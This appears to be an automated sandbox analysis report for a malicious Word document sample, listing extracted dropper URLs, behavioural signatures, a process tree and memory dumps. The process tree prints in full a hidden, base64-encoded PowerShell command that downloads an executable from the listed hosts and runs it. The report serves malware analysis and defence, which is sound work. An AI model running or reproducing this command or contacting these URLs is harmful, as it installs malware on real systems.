Analysis
- max time kernel
133s - max time network
141s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
13/11/2024, 08:29
General
- Target 1b6a63e174d1201ac9d6957c033328f45753ffcb7e1894f82f8b9e5f8a0807e1.doc
- Size 178KB
- Sample241113-kdkwas1qaq
- SHA256 1b6a63e174d1201ac9d6957c033328f45753ffcb7e1894f82f8b9e5f8a0807e1
Malware Config
Extracted
-
ps1
-
exe.dropper
http://trendinformatica.eu/arcfabrics/i88ixy9/
-
exe.dropper
http://theomelet.com/wp-content/fQd/
-
exe.dropper
http://kgd898.com/wp-admin/h45mi/
-
exe.dropper
http://idealssschang.com/calendar/60PcB/
-
exe.dropper
http://happiness360degree.com/wp-admin/fj/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1b6a63e174d1201ac9d6957c033328f45753ffcb7e1894f82f8b9e5f8a0807e1.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABHAGsAYgBlAGkAbgBoAG4AZAB4AD0AJwBKAHMAawB0AHoAYgBxAGgAdgBpAHIAaQAnADsAJABHAHIAegBoAHAAaQBsAGMAeQAgAD0AIAAnADUAMAA2ACcAOwAkAFYAZQBnAGsAcAB2AGgAbABjAGUAbwBiAD0AJwBIAHcAaAB5AHcAcQBvAGYAcABtACcAOwAkAE4AbgBkAHMAcgBuAGcAcwBrAHAAdAB1AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABHAHIAegBoAHAAaQBsAGMAeQArACcALgBlAHgAZQAnADsAJABCAHAAeQBzAHMAcgB4AHQAbAA9ACcATQBzAHoAYwBoAGgAbwBsAHoAbwB2AG8AbAAnADsAJABFAG8AZgBpAGMAbwBnAHEAaQA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAQgBDAEwAaQBFAG4AVAA7ACQAUwBhAHcAawB2AHkAYwBrAHgAegBzAD0AJwBoAHQAdABwADoALwAvAHQAcgBlAG4AZABpAG4AZgBvAHIAbQBhAHQAaQBjAGEALgBlAHUALwBhAHIAYwBmAGEAYgByAGkAYwBzAC8AaQA4ADgAaQB4AHkAOQAvACoAaAB0AHQAcAA6AC8ALwB0AGgAZQBvAG0AZQBsAGUAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAUQBkAC8AKgBoAHQAdABwADoALwAvAGsAZwBkADgAOQA4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoADQANQBtAGkALwAqAGgAdAB0AHAAOgAvAC8AaQBkAGUAYQBsAHMAcwBzAGMAaABhAG4AZwAuAGMAbwBtAC8AYwBhAGwAZQBuAGQAYQByAC8ANgAwAFAAYwBCAC8AKgBoAHQAdABwADoALwAvAGgAYQBwAHAAaQBuAGUAcwBzADMANgAwAGQAZQBnAHIAZQBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmAGoALwAnAC4AIgBzAHAATABgAEkAVAAiACgAJwAqACcAKQA7ACQAUQB2AGYAcABwAHUAagBoAHQAcgA9ACcATAB4AGUAagBhAHgAegB1AGcAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQAQQBxAGkAdwBvAGUAbABiAGwAIABpAG4AIAAkAFMAYQB3AGsAdgB5AGMAawB4AHoAcwApAHsAdAByAHkAewAkAEUAbwBmAGkAYwBvAGcAcQBpAC4AIgBEAGAAbwBgAHcAbgBMAE8AQQBEAEYASQBgAEwAZQAiACgAJABBAHEAaQB3AG8AZQBsAGIAbAAsACAAJABOAG4AZABzAHIAbgBnAHMAawBwAHQAdQApADsAJABZAGEAYQBiAHQAZwBhAG0AaQA9ACcAQwBuAHYAdQBjAGMAawBnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQATgBuAGQAcwByAG4AZwBzAGsAcAB0AHUAKQAuACIATABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADgANQAzADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQByAHQAIgAoACQATgBuAGQAcwByAG4AZwBzAGsAcAB0AHUAKQA7ACQAQwBvAHYAZgB1AHEAbQBwAGMAdQBoAHgAcgA9ACcASQBvAG4AcQBhAGIAYwB3AGIAdgBlAGQAJwA7AGIAcgBlAGEAawA7ACQAVwBwAGMAbgBiAHkAbQBmAG8AbABrAGEAPQAnAEYAdQBxAGUAZgBpAHUAdgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFcAegByAHQAagBxAG0AcAB4AGcAZQBmAD0AJwBRAGgAYwBhAGIAZwBhAGgAdwBxAGgAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
F0417D4F.wmf
__PSScriptPolicyTest_luawmgfh.ima.ps1
TM02851227[[fn=sist02]].xsl
CUSTOM.DIC
memory/1344-62-0x0000022C8FE20000-0x0000022C8FE42000-memory.dmp
memory/3364-11-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-15-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-7-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-3-0x00007FFF098B0000-0x00007FFF098C0000-memory.dmp
memory/3364-9-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-12-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-13-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-2-0x00007FFF098B0000-0x00007FFF098C0000-memory.dmp
memory/3364-17-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-18-0x00007FFF076C0000-0x00007FFF076D0000-memory.dmp
memory/3364-16-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-8-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-14-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-10-0x00007FFF076C0000-0x00007FFF076D0000-memory.dmp
memory/3364-6-0x00007FFF098B0000-0x00007FFF098C0000-memory.dmp
memory/3364-5-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-4-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-1-0x00007FFF098B0000-0x00007FFF098C0000-memory.dmp
memory/3364-73-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-74-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-77-0x00007FFF49830000-0x00007FFF49A25000-memory.dmp
memory/3364-0-0x00007FFF098B0000-0x00007FFF098C0000-memory.dmp